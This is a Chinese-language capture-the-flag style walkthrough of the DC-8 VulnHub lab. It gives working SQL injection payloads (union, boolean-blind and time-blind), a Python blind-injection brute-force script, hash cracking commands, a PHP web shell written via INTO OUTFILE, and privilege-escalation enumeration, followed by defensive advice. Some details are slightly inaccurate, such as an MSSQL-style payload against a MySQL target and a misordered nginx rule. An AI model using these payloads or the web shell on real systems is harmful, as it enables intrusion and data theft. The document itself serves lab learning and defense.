1. DC-8靶机SQL注入实战解析
DC-8是Vulnhub平台上一台专注于Web应用安全的实战靶机，其核心挑战在于通过手工SQL注入技术获取系统权限。这个靶机模拟了真实世界中存在SQL注入漏洞的Web应用环境，安全研究人员需要通过逐步渗透测试来发现和利用这些漏洞。
重要提示：在进行任何渗透测试前，请确保已获得系统所有者明确授权，仅限在本地实验环境或授权范围内使用这些技术。
1.1 环境准备与初始侦察
首先需要从Vulnhub官网下载DC-8靶机镜像，导入到VirtualBox或VMware等虚拟化平台中运行。建议使用Kali Linux作为攻击机，并确保两者在同一网络环境下。
初始信息收集阶段的关键步骤：
- 使用netdiscover或arp-scan定位靶机IP：
sudo arp-scan -l- 进行基础端口扫描，识别开放服务：
nmap -sV -T4 -p- 192.168.1.100- 详细扫描Web服务：
nmap --script=http-enum -p80 192.168.1.100典型扫描结果会显示80端口运行着Apache服务，可能存在Web应用漏洞。此时应使用浏览器访问该IP，初步观察网站结构和功能。
1.2 SQL注入漏洞定位与分析
DC-8靶机的SQL注入点通常出现在用户登录或搜索功能处。通过手工测试可发现以下特征：
- 在登录表单尝试基础注入测试：
' OR 1=1 --- 观察响应差异，确认是否存在注入：
- 正常响应与异常响应的区别
- 错误信息中是否包含数据库细节
- HTTP状态码变化
- 使用Burp Suite拦截请求，修改参数进行深入测试：
POST /login.php HTTP/1.1 [...] username=admin' AND 1=CONVERT(int,(SELECT table_name FROM information_schema.tables))--&password=test通过错误回显可判断数据库类型（如MySQL、MSSQL等），DC-8通常使用MySQL数据库。
2. 手工SQL注入技术详解
2.1 联合查询注入实战
当确认存在注入点后，可通过以下步骤实施联合查询注入：
- 确定字段数量（使用ORDER BY）：
' ORDER BY 5--- 找出可显示字段位置：
' UNION SELECT 1,2,3,4,5--- 获取数据库信息：
' UNION SELECT 1,database(),user(),version(),5--- 提取表名：
' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_schema=database()--2.2 布尔盲注技术应用
当没有明显回显时，需要使用盲注技术：
- 判断条件语句是否成立：
' AND substring(database(),1,1)='d'--- 编写Python脚本自动化猜解：
import requests url = "http://192.168.1.100/search.php" chars = "abcdefghijklmnopqrstuvwxyz0123456789" result = "" for i in range(1,20): for c in chars: payload = f"' AND substring(database(),{i},1)='{c}'-- " data = {"search":payload} r = requests.post(url, data=data) if "results found" in r.text: result += c print(result) break2.3 时间盲注进阶技巧
当布尔判断也不可行时，时间盲注是最后手段：
' AND IF(substring(database(),1,1)='d',sleep(5),0)--对应的自动化脚本需要测量响应时间来判断条件真假。
3. 漏洞利用与权限提升
3.1 获取管理员凭证
通过注入获取用户表数据：
' UNION SELECT 1,username,password,4,5 FROM users--如果密码是哈希值，可使用John the Ripper或hashcat进行破解：
hashcat -m 0 hash.txt rockyou.txt3.2 写入Web Shell
当有写权限时，可通过注入写入PHP后门：
' UNION SELECT 1,"<?php system($_GET['cmd']);?>",3,4,5 INTO OUTFILE '/var/www/html/shell.php'--访问shell.php执行系统命令：
curl http://192.168.1.100/shell.php?cmd=id3.3 系统权限提升
获取初始shell后，查找SUID文件和内核漏洞：
find / -perm -4000 2>/dev/null uname -a searchsploit linux kernel 3.13DC-8通常存在可通过脏牛(Dirty Cow)等漏洞提权的机会。
4. 防御措施与最佳实践
4.1 安全开发建议
- 使用参数化查询或ORM框架
- 实施最小权限原则
- 输入验证和输出编码
- 错误处理规范化
4.2 防御性配置
- Web应用防火墙规则：
location ~* \.php$ { deny all; allow 127.0.0.1; }- 数据库配置加固：
REVOKE ALL PRIVILEGES ON *.* FROM 'webuser'@'%'; GRANT SELECT ON appdb.* TO 'webuser'@'localhost';4.3 监控与响应
- 日志监控关键SQL语句
- 部署IDS/IPS系统
- 定期渗透测试
通过DC-8靶机的实战演练，可以深入理解SQL注入的原理、利用手法和防御措施。这种手工注入技术虽然基础，但在面对特殊环境时往往比自动化工具更有效。建议在掌握基础后，进一步研究NoSQL注入、ORM注入等高级技术。
